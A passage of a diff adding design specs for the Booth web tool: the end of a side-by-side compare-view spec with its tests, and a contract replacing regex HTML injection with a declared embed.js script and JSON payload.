||||
`vflag-btn` rule).
|
||||
- The flag controls, the filmstrip and each side's label are `data-region`s,
|
||||
so an in-place save refreshes them. The stages are never regions,
|
||||
because swapping one would restart a playing track (the review's rule).
|
||||
- **Region ids are unique on the page and keyed by SIDE** (S4): `flag-a`,
|
||||
`flag-b`, `label-a`, `label-b`, `film`. The swap keeps only the FIRST fresh
|
||||
node for each id and copies it over EVERY live node with that id. A shared
|
||||
`flag` id would therefore turn B's control into A's after any save, so
|
||||
that pressing B flagged A, and nothing would show it. The ids are NOT
|
||||
keyed by rel, which `a == b` would duplicate, and NOT prefixed `item-`,
|
||||
which the swap reads as a stale tile.
|
||||
- **Without JS, a flag lands back on the same compare page:** the form carries
|
||||
`back=compare`, `a`, `b`, `side` and `link`, and `_mark_redirect` builds
|
||||
`/b/<name>/compare?a=<quote(a, safe="/")>&b=<quote(b, safe="/")>` from them,
|
||||
appending `&side=a` ONLY when the form's value is exactly `a` and `&link=0`
|
||||
ONLY when it is exactly `0`, in that order. The view state is mapped from
|
||||
that closed set and never echoed. The URL has NO fragment (the flags sit beside the stages, so there is nothing to
|
||||
scroll to). It does that ONLY when both are strings in the ring, quoting each
|
||||
as the view branch does. It is built from the checked rels and
|
||||
never echoed from the form. Anything else takes the no-`back` landing. Every
|
||||
other `back` value is byte-identical to today (R2 INV-4).
|
||||
- Notes and the booth's open questions stay on the review. Compare carries only
|
||||
the flag, plus a `review A` / `review B` link on each side to the item's full
|
||||
review.
|
||||
|
||||
## C6 — blur and captions
|
||||
|
||||
- **Blur honesty per side:** a blurred item renders blurred, with its own
|
||||
reveal button over its stage (the review's pattern: JS-only, `hidden` until
|
||||
bound, never inside the scrolled content). Reveal all reveals both.
|
||||
- The blur CSS is scoped to `.review` (base.html: `.review .vstage.is-blurred
|
||||
img`, the `.revealed` and `is-img` rules, and Reveal all's `.reveal-all
|
||||
.review .vstage.is-blurred …`). The compare root is therefore
|
||||
`class="viewer review compare"`, and `.compare` overrides the review's
|
||||
4-row grid and the 360px rail column. The blur rules are not re-scoped:
|
||||
they and their r2b mutation rows stay as they are.
|
||||
- Each stage carries `vstage` and `is-img` (for a picture) and
|
||||
`is-blurred`, exactly as the review's does, so the 1:1 and blur rules
|
||||
apply unchanged.
|
||||
- Reveal all hides the review's stage reveal by ID
|
||||
(`.reveal-all #vreveal`). Compare's per-side reveals use a class,
|
||||
`cmp-reveal`, and base.html gains `.reveal-all .cmp-reveal{display:none}`.
|
||||
- compare.html carries `{% block html_attrs %} data-booth="{{ name }}"`,
|
||||
because without it Reveal all's script and the head script's reveal
|
||||
restore both bail (S6, r2b's mutation row for the review).
|
||||
- **Each side's caption** shows under its stage in `.cmp-cap`: the review's
|
||||
`.vcap` type (size, leading, colour, pre-wrap), clamped to 20vh rather than
|
||||
the review's 30vh, with its own scroll. Two sides share the height.
|
||||
|
||||
## Invariants
|
||||
|
||||
- **INV-1 — rel identity.** The pair is two rels, in the URL, always. Nothing
|
||||
about the pair is stored, and no ordinal ever addresses an item.
|
||||
- **INV-2 — ring only.** Both sides are media in the review ring that pass the
|
||||
view route's containment. Every server-computed link (the steps, the
|
||||
filmstrip, the review's Compare control, the flag landing) stays inside the
|
||||
compare ring (C1).
|
||||
- **INV-3 — no new storage and no new mark.** The judgment is the existing flag,
|
||||
through the existing route and the existing in-place path.
|
||||
- **INV-4 — JS-off parity.** Without JS (and so without the head script that
|
||||
would apply a stored 1:1, which is itself a script): two Fit stages. Both
|
||||
sides' flag forms are present, so choosing which side to flag needs no
|
||||
picker; per-side and linked step
|
||||
links; filmstrip links that replace the URL's active side (B by default,
|
||||
C2); flag forms that land back on the same pair.
|
||||
Nothing judgment-bearing hides behind a script.
|
||||
- **INV-5 — one record of the stage mode**, shared with the review:
|
||||
`stage-one` on `<html>`. Storage never raises.
|
||||
- **INV-6 — the review is unchanged in behaviour.** It gains a Compare control and
|
||||
a `C` key. The stage refactor changes no r2c assertion.
|
||||
|
||||
## TESTS
|
||||
|
||||
Server (`tests/test_compare.py`):
|
||||
- `compare_renders_the_pair` [tracer]: a booth of four images; `compare?a=<#1>&b=<#3>` → 200; both names and both ordinals are printed; the filmstrip marks #1 A and #3 B.
|
||||
- `a_bad_side_is_a_404`: a missing `a` or `b`, `..` traversal, a NUL, a dotfile, a doc item, a non-item file → 404 each, never 500.
|
||||
- `a_look_records_both_seen`: after a compare GET, `.seen` holds both rels; a 404 records nothing.
|
||||
- `linked_steps_keep_the_distance_and_wrap`: THE FIXTURE PUTS A DOC BETWEEN THE MEDIA (`03-notes.md`), so an ordinal is not a ring position. In a ring of 6 media with a at ring position 2 and b at ring position 5, "both forward" targets ring positions (3, 6), then (4, 1), wrapped; "both back" from (1, 4) targets (6, 3). The assertions name rels, never ordinals.
|
||||
- `the_urls_are_keyed_by_rel`: every step and filmstrip link carries `a=`/`b=` rels, url-quoted; no link carries an ordinal parameter.
|
||||
- `a_flag_without_js_lands_on_the_same_pair`: `POST /flag` with `back=compare&a=..&b=..` → 303 to exactly `/b/<name>/compare?a=..&b=..`; with `side=a&link=0` added → exactly `…&side=a&link=0`; with `side=A` or `link=00` → neither appended; with a rel not in the ring → the no-back landing; `Accept: application/json` → 204, unchanged.
|
||||
- `every_other_landing_is_byte_identical`: the existing `back=view` / `back=marks` / no-back redirects are unchanged (R2 INV-4).
|
||||
- `the_review_offers_compare_with_the_next_item`: with the doc fixture, the review of a media item links `compare?a=<it>&b=<the next media item in the ring>`, skipping the doc; the last media item links to the first.
|
||||
- `view_state_rides_the_links`: with `side=a&link=0`, every step and strip link carries both; an unknown `side=z` or `link=maybe` renders as B-active and linked, never an error.
|
||||
- `no_data_region_repeats`: on a compare page, including `a == b`, every `data-region` value is unique, and the side regions are `flag-a`, `flag-b`, `label-a` and `label-b`.
|
||||
- `a_missing_param_is_404_not_422`: `compare?a=<x>` without `b` → 404.
|
||||
- `an_outside_symlink_in_the_ring_is_404`: a booth symlink pointing outside the booth is in review_chain, and compare with it as either side → 404.
|
||||
- `compare_carries_data_booth`: the page's `<html>` carries `data-booth`.
|
||||
|
||||
Browser (`tests/test_compare_browser.py`):
|
||||
- `two_stages_side_by_side_wide_and_stacked_narrow` [tracer]: at 1440 both stages sit in one row; at 390 A sits above B and each is at most 45vh.
|
||||
- `one_mode_for_both_and_for_the_review`: `Z` switches both stages to 1:1; `localStorage['booth.fit']` is `one`; the review then opens in 1:1.
|
||||
- `synced_pan_lands_on_the_same_crop`: two equal-size pictures larger than the stage in 1:1. A drag on A of (+80, +60) scrolls both by (−80, −60). A scrollbar or wheel scroll on B moves A to the same fraction. Neither stage drifts after a second of idle.
|
||||
- `synced_pan_by_fraction_for_different_sizes`: a 2000px and a 3000px picture, one scrolled to its middle, puts the other at its middle; and one scrolled to 25% of its range puts the other at 25% of ITS range (not at the same pixel offset). This is the test that sees a fraction bug; the equal-size test above cannot, because equal overflow makes offsets and fractions coincide.
|
||||
- `a_flags_A_in_place_and_the_stages_survive`: press `A` → A's flag shows flagged with no navigation; the stage elements are the same nodes (a stage was not swapped).
|
||||
- `linked_arrow_walks_a_bakeoff`: in a booth shaped like sindra-bakeoff (lanes m and r, 4 pairs), open m#1 vs r#1 and press `→` three times: each pair shares its scene and seed suffix.
|
||||
- `unlinked_moves_only_the_active_side_and_the_strip_picks_it`: `L`, then `→`, moves only B, and a SECOND `→` still moves only B (the unlinked state survived the navigation); a click on a strip frame sets the active side's item; `X` swaps the active side and the reticle follows it, and survives the next step.
|
||||
- `blur_is_honest_on_both_sides`: a blurred B's image has a COMPUTED filter containing `blur(`, not just a class. Its own reveal clears it. Reveal all clears both, and hides both `cmp-reveal` buttons.
|
||||
- `a_save_keeps_the_active_side`: make A active, flag B in place → A is still active (reticle, strip marker), and a strip click after the swap still sets A.
|
||||
- `without_js_every_judgment_and_step_still_works`: JS off — the pair renders, the step and strip links navigate, and a flag lands back on the same pair.
|
||||
- `the_review_still_behaves_exactly_as_r2c_says`: the r2c browser suite passes unchanged against the refactored view.html. This is a gate, not a new test.
|
||||
|
||||
## Assertions that change (declared before the code)
|
||||
|
||||
| test | today | after | why |
|
||||
|---|---|---|---|
|
||||
| no behavioural assertion | — | — | view.html's behaviour is unchanged (INV-6). The only additions are the Compare control and the `C` key, which no current test pins. |
|
||||
| tests/mutations/r2c.toml: 21 rows anchor in view.html's script; the 15 on the toggle, the storage listener and drag-pan | `file = view.html`, anchors in the inline script | `file = _stage_js.html`, anchors re-pointed to the parameterised code (e.g. `stage.scrollLeft` becomes the attached stage's name) | the code moved (C4); every re-pointed row must still FALSIFY |
|
||||
| tests/mutations/r2c.toml: the other 6 of those 21, the arrow placement, including the resize row ("S3 the arrows do not follow a resize") | view.html | unchanged: `place()` and view's ResizeObserver stay in view.html (C4) | — |
|
||||
| tests/mutations/r2b.toml, the row on Space from a focused button | view.html's keydown | unchanged: the keydown handler stays in view.html | — |
|
||||
| tests/mutations/r2b.toml, "the top-bar controls squeeze into multi-line stacks at phone width" (declared during the build) | removes the no-wrap rules | removes the no-wrap rules AND the phone-width wrap | a wrapping bar never squeezes, so removing the no-wrap rules alone went vacuous; r3.toml rows the wrap on its own |
|
||||
| new: tests/mutations/r3.toml | — | rows for: the side-keyed region ids, the conjunction 404, `back=compare`'s ring check, the linked distance, the synced-pan loop guard, the `data-booth` attribute, the `cmp-reveal` Reveal-all rule | the r3 falsifiers |
|
||||
|
||||
**The gate for the refactor is the TABLE, not only the suite:**
|
||||
`scripts/mutation_check.py tests/mutations/r2c.toml` (and r2b.toml) with every
|
||||
row falsifying after the move. A green r2c browser suite proves the behaviour
|
||||
survived. The table proves the tests still bind to the code that moved
|
||||
(booth-dev, S8).
|
||||
|
||||
## Out of scope
|
||||
|
||||
- Detecting pairs from filenames (ruled out: 1 of 26 live booths pairs by a name rule, and none of sindra-h2h does).
|
||||
- An A-better / same / B-better record (ruled: parked). If it is ever ruled in, it is a new mark keyed by an ORDERED pair of rels, in booth-dev's storage, with the JSON sessions read stated (booth-dev's note).
|
||||
- A zoom between Fit and 1:1, wheel zoom, and pinch (parked into r3 by r2c; parked again here: compare works at Fit and 1:1, and a third level is its own unit if the operator asks for it).
|
||||
- Three or more panes, onion-skin or swipe overlays, and a difference view.
|
||||
- Synced playback of two videos or two tracks (each stage plays on its own).
|
||||
- A grid multi-select to start a compare from the lightbox (the review's `C` and the picker strip cover picking).
|
||||
- Comparing across booths.
|
||||
@@ -0,0 +1,583 @@
|
||||
---
|
||||
contract_version: "1.0"
|
||||
module: "booth.app (verbatim serving) + booth/static/embed.js"
|
||||
purpose: "A booth that ships its own index.html is the operator's most important surface -- his design reviews, his audition reports, his briefs -- and the Booth reaches into it with six regular expressions against arbitrary author HTML plus a placeholder DSL that substitutes rendered markup by pattern. Both work today and both are the single most fragile thing in the service. This unit replaces the whole class with a DECLARED SEAM: the page carries one line (`<script src=\"/_booth/embed.js\" defer></script>`), the Booth mounts its chrome through real DOM APIs, and a page that declares the line is served with ZERO Booth markup added to it. A page that does not declare it gets that one line appended at the end -- the only remaining mutation, and it needs no pattern matching at all. Operator ruling, 2026-09-21: the page declares itself, the Booth mounts into it."
|
||||
depends_on:
|
||||
- "booth.marks (marks_for, open_marks, hold_read -- the pick records the payload renders. UNCHANGED by this unit: U3 changes how fragments REACH the page, never what a mark is. Read against booth/marks.py, not against the U2 contract's prose -- see the seam review.)"
|
||||
- "booth/templates/_ask_inline.html (the `whole` / `question` / `submit` macros stay the ONE renderer of an ask fragment, called from the embed payload instead of from inject_asks. Its `styles()` macro is DELETED -- inject_asks was its only caller and the CSS moves into embed.js so the chrome is one asset. Macro signatures are otherwise untouched.)"
|
||||
- "booth.asks.normalize_ask (TRANSITIVE, through `marks._hydrate`, and named because the payload shape depends on it: a MULTI ask normalizes to questions whose `key` matches `^[A-Za-z0-9][A-Za-z0-9._-]{0,60}$`, and a SINGLE-question ask normalizes to exactly one question whose `key` is `None`. Both facts are load-bearing -- the first makes splitting an anchor spec on the first colon unambiguous, the second is why `questions` is a list. Read against booth/asks.py:138-223.)"
|
||||
- "booth.app.FAVICON_HREF (the data-URI icon, carried in the payload rather than copied into embed.js -- a third copy of that string is exactly the multiple-readers-of-one-truth shape the repo's ONE-RESOLVER rule (CLAUDE.md invariant 3 -- NOT this contract's INV-1, which is the untouched-page rule; a cold arm read the two as one label and was right to) exists to stop. base.html's literal copy predates this unit and is out of scope.)"
|
||||
language: "python + javascript"
|
||||
complexity: "medium"
|
||||
estimated_loc: 420
|
||||
confidence: 0.82
|
||||
used_by:
|
||||
- "booth.app.booth_view (the verbatim branch: one read, one substring check, one conditional append -- replacing inject_asks + wrap_verbatim_html entirely)"
|
||||
- "the operator's verbatim reports (4 of 21 live booths ship their own index.html; 2 of those 4 use the placement DSL, so the migration is not hypothetical)"
|
||||
- "report authors (the declared line is the new public API for a booth that wants Booth chrome where it chooses)"
|
||||
touches:
|
||||
- "booth/static/embed.js (NEW -- the mount script and the chrome CSS, one asset. Read ONCE at app startup, never per request; see INV-5.)"
|
||||
- "booth/app.py (DELETE wrap_verbatim_html, _insert_before, _insert_after, _ICON_RE, _HEAD_CLOSE_RE, _HTML_OPEN_RE, _DOCTYPE_RE, _BODY_CLOSE_RE, _HTML_CLOSE_RE, _BACK_CHIP, asks_chip, inject_asks, FAVICON_LINK and the `from booth.inline import` block. ADD EMBED_SRC/EMBED_SCRIPT_TAG, the startup read of embed.js, GET /_booth/embed.js, GET /b/{name}/embed.json, and the rewritten verbatim branch of booth_view.)"
|
||||
- "booth/inline.py (DELETED ENTIRELY -- 119 lines. Nothing else imports it; `scripts/booth` never did, so the stdlib-only CLI surface is untouched. ONE line survives the module: `form_id`, which builds the shared form element id the fragments bind to, moves into booth/app.py beside the route that renders them. It is not placement machinery and dying with the placement engine would take the fragments with it. Seam review, SR-3.)"
|
||||
- "booth/templates/_ask_inline.html (DELETE the `styles()` macro and rewrite the header comment: the fragments are now mounted by embed.js, not substituted by regex, and `No JavaScript` stops being true.)"
|
||||
- "tests/test_booth.py (DELETE the five test_wrap_* tests and test_verbatim_booth_wrapped_with_back_chip -- they test a mechanism this unit removes; the FAVICON_LINK import goes with them)"
|
||||
- "tests/test_asks.py (the inline-placement block, ~L480-590: assertions that server-rendered fragments appear in the page body become assertions about the embed payload. The BEHAVIOUR they encode -- every question reachable, a scattered form still submittable, a typo'd id left alone -- is preserved and re-asserted, half in Python and half in the browser.)"
|
||||
- "tests/test_embed.py (NEW -- the payload, the injection rule, the no-hot-reload guard)"
|
||||
- "tests/test_embed_browser.py (NEW -- Playwright against a real Chromium: the placement algorithm and the form association, neither of which the Python suite can see. SKIPS, never fails, when playwright or the shared browser is unavailable.)"
|
||||
- "pyproject.toml (test extra gains `playwright>=1.60,<1.63` -- the range is the set of releases whose pinned Chromium revision is present in the box-wide /opt/ms-playwright store. Stated explicitly because it is invisible otherwise: 1.63 wants chromium-1243, which is NOT there, and the failure is an opaque `Executable doesn't exist`.)"
|
||||
- "docs/design/information-architecture.md (the `What this deletes` list becomes what this DID delete; the standalone /asks bullet is corrected -- U2 already reduced it to a 308)"
|
||||
- "ROADMAP.md (U3 row struck through; the ordering table gains the two orders this unit states)"
|
||||
assumptions:
|
||||
- "THE OPERATOR ALREADY RULED ON THE SEAM (2026-09-21, recorded in the IA doc): the page declares itself and the Booth mounts into it, via `<script src=\"/_booth/embed.js\" defer></script>`. That ruling ACCEPTS a JavaScript dependency on the verbatim path, which today has none. This contract does not re-open it. What the contract DOES do is state the consequence plainly so it is not discovered later -- see the degradation assumption below."
|
||||
- "THE ONLY REMAINING SERVER-SIDE MUTATION IS A CONDITIONAL APPEND, AND IT NEEDS NO PATTERN AT ALL. Two substring tests (`src=\"/_booth/embed.js\"` and its single-quoted twin), then a concatenation. ⚠ THE BARE PATH WAS THE FIRST DRAFT AND IT FAILED IN THE DANGEROUS DIRECTION: a report that merely MENTIONS the path -- a code sample, a comment, a sentence about this feature, which the Booth's own design reports are the likeliest pages to contain -- would have counted as declaring it, been served untouched, and shown no chrome at all, silently. Requiring `src=` immediately before the path flips the failure direction: an unusual spelling (`src = \"...\"`, an unquoted attribute, a `?v=2` suffix) reads as NOT declared, so a second tag is appended and embed.js mounts once anyway on its `window.__boothEmbed` guard. A missed declaration costs a duplicate tag; a false one costs the operator his chrome. Three of four cold-panel arms found this independently. This is why all six regexes die rather than collapsing to one: content appended AFTER `</html>` is parsed into the body by every browser, so there is nothing to find. Nothing is ever PREPENDED, which is what retires both of wrap_verbatim_html's hard constraints in one stroke -- no doctype can be displaced into quirks mode and no charset meta can be pushed out of the first 1024 bytes, because nothing moves."
|
||||
- "THE FAVICON MOVES FROM A REGEX TO A DOM QUERY. `_ICON_RE` existed to answer `does this page already declare an icon`, against raw text, and three more regexes existed to find a head-ish seam to put one in. embed.js asks `document.querySelector('link[rel~=\"icon\"]')` and appends to `document.head`. That is the same question and the same action, asked of a parsed document instead of a string -- and it is four of the six regexes."
|
||||
- "FRAGMENTS ARE STILL RENDERED BY JINJA, ONLY PLACED BY JAVASCRIPT. The payload carries server-rendered HTML from the EXISTING `_ask_inline.html` macros. Re-implementing the ask form in JavaScript would make two renderers of one truth, which is precisely the shape the repo's ONE-RESOLVER rule (CLAUDE.md invariant 3) was written to stop after the zoom view lost its captions. embed.js does DOM placement and nothing else: it never decides what a mark says, whether it is open, or what order marks come in."
|
||||
- "PLACEMENT IS AN ANCHOR-FILL, NOT A REPLACEMENT, AND THAT IS A DELIBERATE CHANGE FROM TODAY. `_EL_RE` matches an author's opening tag and SUBSTITUTES it, so `<div class=\"ask\" data-booth-ask=\"dfa:logo\"><h3>The one asset that must survive</h3>` loses both the wrapper's class and -- visually -- its framing, leaving the author's heading orphaned and the closing `</div>` stray. That is live today on `dfa-concepts`. embed.js uses `el.insertAdjacentHTML('beforeend', frag)`: the author's element and its contents survive and the fragment lands inside, under the heading. Strictly closer to what the markup says, and it is the behaviour a DOM API gives for free."
|
||||
- "`data-booth-mark` IS CANONICAL; `data-booth-ask` IS A KEPT ALIAS. U2 made an ask one shape of mark and the IA doc names the anchor `data-booth-mark`. But 2 of the 4 live verbatim booths use the `data-booth-ask` spelling, in the operator's own reports, so the selector accepts both -- one extra clause in one selector string. Same for `data-booth-mark-submit` / `data-booth-ask-submit`. Renaming without the alias would break a live report to save nothing."
|
||||
- "THE HTML-COMMENT PLACEHOLDERS ARE DROPPED, NOT PORTED. `<!-- booth:ask stem -->` and `<!-- booth:ask-submit stem -->` have ZERO users across all 21 live booths. Walking comment nodes to keep them would be real complexity bought for nobody, in the unit whose entire point is deletion. A page that used one degrades to the append path -- the ask still renders, at the end -- so the never-invisible guarantee holds even for a caller we do not know about."
|
||||
- "DEGRADATION WITH JAVASCRIPT OFF IS A REAL LOSS AND IT IS NAMED HERE. Today the verbatim path is zero-JS: an ask renders server-side and submits through a plain form. After this unit, no JS means no chrome on the report -- no ask, no way home, no icon. The guarantee that an ask is NEVER INVISIBLE survives in a weaker and still-true form, through surfaces that need no script: the index card carries the open-mark badge, and `/b/<name>/marks` renders every mark server-side. This is the cost of the operator's ruling, stated once so nobody meets it as a surprise."
|
||||
- "EMBED.JS IS READ ONCE AT STARTUP, FOR THE REASON TEMPLATES ARE. Serving it from disk per request would give the service a third staleness rule, and a live asset editable under a running process is exactly what put 19 of 25 booths at 500 on 2026-09-21. One rule in this repo: nothing takes effect until you restart. INV-5 holds the line the same way `test_templates_do_not_hot_reload_from_disk` does."
|
||||
- "THE PAYLOAD ENDPOINT DOES NOT RECORD A VIEW. `booth_view` already calls `record_view` above both early returns (U4), and `.viewed` is a deliberate look. A fetch issued by a script on a page that has ALREADY been recorded would double-count activity and reset the TTL on machinery rather than on the operator -- the same distinction the `.lock` exemption draws in `_newest_mtime`."
|
||||
- "THE READ IS LENIENT AND THE STATUS STAYS 200, copied deliberately from `/b/{name}/marks.json`. A damaged `.marks.json` must not 500 the operator's report; it returns an `error` in the body and embed.js mounts the nav anyway. This is the v0.2.2 lesson and the posture every read path in this service already takes."
|
||||
- "WRAP_MAX_BYTES SURVIVES UNCHANGED, at 8 MiB, with the same raw-FileResponse fallback. The work behind it is now trivial, but the READ is not: the largest live verbatim booth is 280 KB and a pathological one still should not be pulled into memory. A booth over the cap loses its chrome exactly as it does today -- no regression, and the constant keeps its existing test."
|
||||
open_questions:
|
||||
- "Whether `/_booth/embed.js` should eventually carry the gallery page's chrome too, making one embed for both surfaces. Out of scope: the gallery page is server-rendered end to end and has no seam problem to solve."
|
||||
- "Whether a booth should be able to suppress injection entirely (a `.no-embed` dotfile) for a report that wants to be served truly untouched. No live booth wants it; declaring the line and then not using it is already most of the way there. Parked rather than designed."
|
||||
---
|
||||
|
||||
# U3 — the declared embed seam
|
||||
|
||||
## The defect, stated precisely
|
||||
|
||||
A booth that ships its own `index.html` is served verbatim. That is the whole
|
||||
promise of the verbatim path, and the Booth breaks it twice on the way out:
|
||||
|
||||
1. **`wrap_verbatim_html`** searches arbitrary author HTML with six regular
|
||||
expressions — `_ICON_RE`, `_HEAD_CLOSE_RE`, `_HTML_OPEN_RE`, `_DOCTYPE_RE`,
|
||||
`_BODY_CLOSE_RE`, `_HTML_CLOSE_RE` — to find somewhere to put a favicon and
|
||||
somewhere to put a floating chip, while threading two constraints it cannot
|
||||
verify: never put anything ahead of a leading doctype, and keep the charset
|
||||
meta inside the first 1024 bytes.
|
||||
2. **`booth/inline.py`** matches a placeholder DSL with four more patterns and
|
||||
substitutes rendered HTML into the author's markup by string replacement.
|
||||
|
||||
Ten patterns, applied to documents the Booth did not write, does not parse, and
|
||||
cannot validate. It works. It is also the single most fragile thing in the
|
||||
service, and it is load-bearing for the operator's most important workflow.
|
||||
|
||||
The failure this invites is not a crash. It is a report that renders *slightly*
|
||||
wrong — and there is a live specimen already. `dfa-concepts/index.html` writes:
|
||||
|
||||
```html
|
||||
<div class="ask" data-booth-ask="dfa:logo"><h3>The one asset that must survive</h3>
|
||||
```
|
||||
|
||||
`_EL_RE` matches the opening `<div …>` and replaces it. The author's `.ask`
|
||||
wrapper class is gone, the `<h3>` is orphaned, and the `</div>` further down is
|
||||
stray. Nobody filed a bug, because a page that is 95% right does not look broken.
|
||||
|
||||
## The seam
|
||||
|
||||
Operator ruling, 2026-09-21. A report carries one line:
|
||||
|
||||
```html
|
||||
<script src="/_booth/embed.js" defer></script>
|
||||
```
|
||||
|
||||
and the Booth mounts its chrome through real DOM APIs. Three consequences, and
|
||||
the third is the one worth stating out loud:
|
||||
|
||||
- **A page that declares the line is served with nothing added to it.** Not
|
||||
"one small injection" — nothing. The body is what the author wrote.
|
||||
- **A page that does not declare it gets that one line appended at the end.**
|
||||
A substring test and a concatenation; no pattern, nothing prepended, no
|
||||
constraint to thread.
|
||||
- **Both of `wrap_verbatim_html`'s hard constraints stop existing** rather than
|
||||
being satisfied more carefully. You cannot displace a doctype you never move,
|
||||
and you cannot push a charset meta out of the detection window by appending.
|
||||
|
||||
## What crosses the seam
|
||||
|
||||
`GET /b/{name}/embed.json` — server-rendered fragments, and nothing embed.js has
|
||||
to decide for itself:
|
||||
|
||||
```json
|
||||
{
|
||||
"booth": "dfa-concepts",
|
||||
"home": "/",
|
||||
"favicon": "data:image/svg+xml,…",
|
||||
"open": ["dfa"],
|
||||
"marks": [
|
||||
{
|
||||
"id": "dfa",
|
||||
"error": null,
|
||||
"whole": "<div class=\"bk-ask\" …>",
|
||||
"submit": "<div class=\"bk-ask\" …>",
|
||||
"questions": [
|
||||
{"key": "logo", "html": "<div …>"},
|
||||
{"key": "display", "html": "<div …>"}
|
||||
]
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
Every HTML string comes from the `_ask_inline.html` macros that render the same
|
||||
fragments today. `open` is `open_marks(picks)` — computed once, server-side, and
|
||||
never re-derived in JavaScript.
|
||||
|
||||
**A payload whose `.marks.json` could not be read has a stated shape**, because
|
||||
an arm asked and the first draft did not say: `marks` is `[]`, `open` is `[]`,
|
||||
`booth` / `home` / `favicon` are present as normal, and top-level `error` and
|
||||
`detail` carry the verdict. Status stays 200, copied from `/marks.json` — a
|
||||
pinned status code is a promise to remote clients, and the information goes in
|
||||
the body instead. The nav mounts; nothing else does. A per-mark `error` is a
|
||||
different thing: that is ONE unreadable pick inside a file that read fine.
|
||||
|
||||
**`questions` is a LIST, and `key` may be `null`.** This is not a style choice.
|
||||
A single-question pick normalizes to `questions: [{"key": None, …}]`
|
||||
(`asks.normalize_ask`), so a JSON object keyed by question key would serialize
|
||||
that key as the string `"null"` — inventing a name that collides with a real key
|
||||
and that JavaScript would have to translate back. A list also carries declaration
|
||||
order in the format itself rather than leaning on object-key insertion order.
|
||||
A `null` key matches no anchor spec, which is correct and is exactly what
|
||||
`place` does today: a single-question pick is addressed as a whole or not at all.
|
||||
Found by the seam review; see SR-2.
|
||||
|
||||
## How the script learns which booth it is on
|
||||
|
||||
**The find of the contract-review round, three arms independently**, and the one
|
||||
gap that made the rest unimplementable as first written: the declared line is
|
||||
byte-identical for every booth, the payload endpoint needs `{name}`, and the
|
||||
name arrives *inside* the response the fetch needs the name to make.
|
||||
|
||||
The rule, stated once:
|
||||
|
||||
> **The booth name is the second path segment of the page's own address.** A
|
||||
> verbatim report is served at `/b/<name>/`, so `embed.js` reads
|
||||
> `location.pathname`, takes segment 2, and `decodeURIComponent`s it. A page
|
||||
> whose address is not `/b/<name>/...` mounts nothing and returns quietly.
|
||||
>
|
||||
> **Override:** a `<script data-booth="...">` attribute wins if present. The
|
||||
> Booth never writes one — the appended tag is exactly the documented line — but
|
||||
> an author embedding a report elsewhere needs a way to say so, and one optional
|
||||
> attribute is cheaper than a second endpoint.
|
||||
|
||||
This makes the URL grammar part of the public seam, which is the honest reading:
|
||||
an author who writes the line is relying on where the Booth serves them, and
|
||||
that should be written down rather than inferred.
|
||||
|
||||
## The placement algorithm
|
||||
|
||||
The same algorithm `inject_asks` runs today, expressed against a DOM instead of
|
||||
a string. It is written out here because it is the part that moves languages,
|
||||
and a reviewer has to be able to check the two against each other.
|
||||
|
||||
```
|
||||
placed : Map<markId, Set<key | WHOLE>>
|
||||
submitted : Set<markId>
|
||||
|
||||
1. every element matching
|
||||
[data-booth-mark], [data-booth-ask] -- in document order
|
||||
spec -> (id, key?) by splitting on the first ":"
|
||||
mark unknown -> leave the element ALONE (a typo stays visible)
|
||||
key absent -> mount whole; placed[id] += WHOLE; submitted += id
|
||||
key names no question -> leave the element ALONE
|
||||
key present -> mount question; placed[id] += key
|
||||
|
||||
2. every element matching
|
||||
[data-booth-mark-submit], [data-booth-ask-submit]
|
||||
mark unknown -> leave alone
|
||||
otherwise -> mount submit; placed[id] ||= {}; submitted += id
|
||||
|
||||
3. tail, appended to <body> in payload order. THE ARROWS ARE EXCLUSIVE, NOT
|
||||
CUMULATIVE -- first match wins and the mark is done. An arm read them as
|
||||
four independent tests, under which one unplaced mark would mount its whole
|
||||
form AND every question AND a submit block; the notation allowed it and the
|
||||
prose did not forbid it:
|
||||
|
||||
if id not in placed: append whole; NEXT MARK
|
||||
elif mark.error: append nothing; NEXT MARK
|
||||
else:
|
||||
if WHOLE not in placed[id]: append every question not in placed[id]
|
||||
if id not in submitted: append submit (scattered, still submittable)
|
||||
|
||||
4. re-associate: for every control carrying form="…", remove and re-set the
|
||||
attribute, so its form owner is resolved after all fragments are in place.
|
||||
|
||||
5. chip: if `open` is non-empty, link it to the FIRST element in document order
|
||||
whose id is EXACTLY `bk-ask-<open[0]>` or begins `bk-ask-<open[0]>-`.
|
||||
A bare prefix match would send the chip to `bk-ask-batch2-r1` for the mark
|
||||
`batch`, or to an author's own element -- flagged by a cold arm, and the
|
||||
trailing hyphen is what rules it out.
|
||||
|
||||
Two more rules the first draft left to the selector rather than stating:
|
||||
|
||||
- **An element carrying BOTH `data-booth-mark` and `data-booth-ask` uses the
|
||||
canonical one.** The alias exists for reports written before the rename, not
|
||||
to double a mount.
|
||||
- **A submit anchor's spec is its stem; any `:key` on it is IGNORED.** There is
|
||||
no per-question submit block — one pick has one `<form>`, which is the whole
|
||||
reason the `form=` binding exists.
|
||||
```
|
||||
|
||||
**`mount` is `el.insertAdjacentHTML('beforeend', frag)`** — the anchor element
|
||||
and its existing contents survive; the fragment lands inside. See the assumption
|
||||
on anchor-fill for why this is a deliberate change and not an accident.
|
||||
|
||||
**Step 4 is measured, not assumed.** Chromium 151 resolves a control's form owner
|
||||
correctly even when the control is inserted before its `<form>`: a probe run
|
||||
2026-09-22 (N=3 per condition, with a form-first positive control and a
|
||||
points-at-nothing negative control) returned `F, F, F` for control-first and
|
||||
`null, null, null` for the negative. So the pass is *not* needed in Chromium.
|
||||
It is three lines, it costs nothing, and the sensitivity floor of that probe is
|
||||
**one engine** — the operator's own browser was not measured. The failure it
|
||||
guards against is a form the operator fills in whose controls reach no form,
|
||||
so the button does nothing.
|
||||
|
||||
## Submitting several asks at once (amended 2026-09-27)
|
||||
|
||||
**The defect.** One pick is one `<form>` is one POST to `/answer`, and that
|
||||
POST 303s back to the page. On a report carrying several picks, a submit sent
|
||||
exactly ONE of them, and the reload that followed wiped every pick the operator
|
||||
had made in the others. His report, relayed by infra-ops: *"I go through, submit
|
||||
a question and it only submits the last one and clears out the top ones."*
|
||||
Confirmed against the live `auk-audition` booth (three single-question picks,
|
||||
no anchors, so all three in the tail) before any code: the access log shows one
|
||||
POST at 15:02:23 that saved the LAST pick on the page, the reload, then a 400
|
||||
four seconds later — the submit of a pick the reload had just blanked — and the
|
||||
other two re-answered one at a time. **The server is not the defect**: every
|
||||
POST did exactly what `/answer` promises. The page gave him one button per
|
||||
form and no way to send them together.
|
||||
|
||||
**The rule.** embed.js listens for `submit` on the forms IT mounted (never an
|
||||
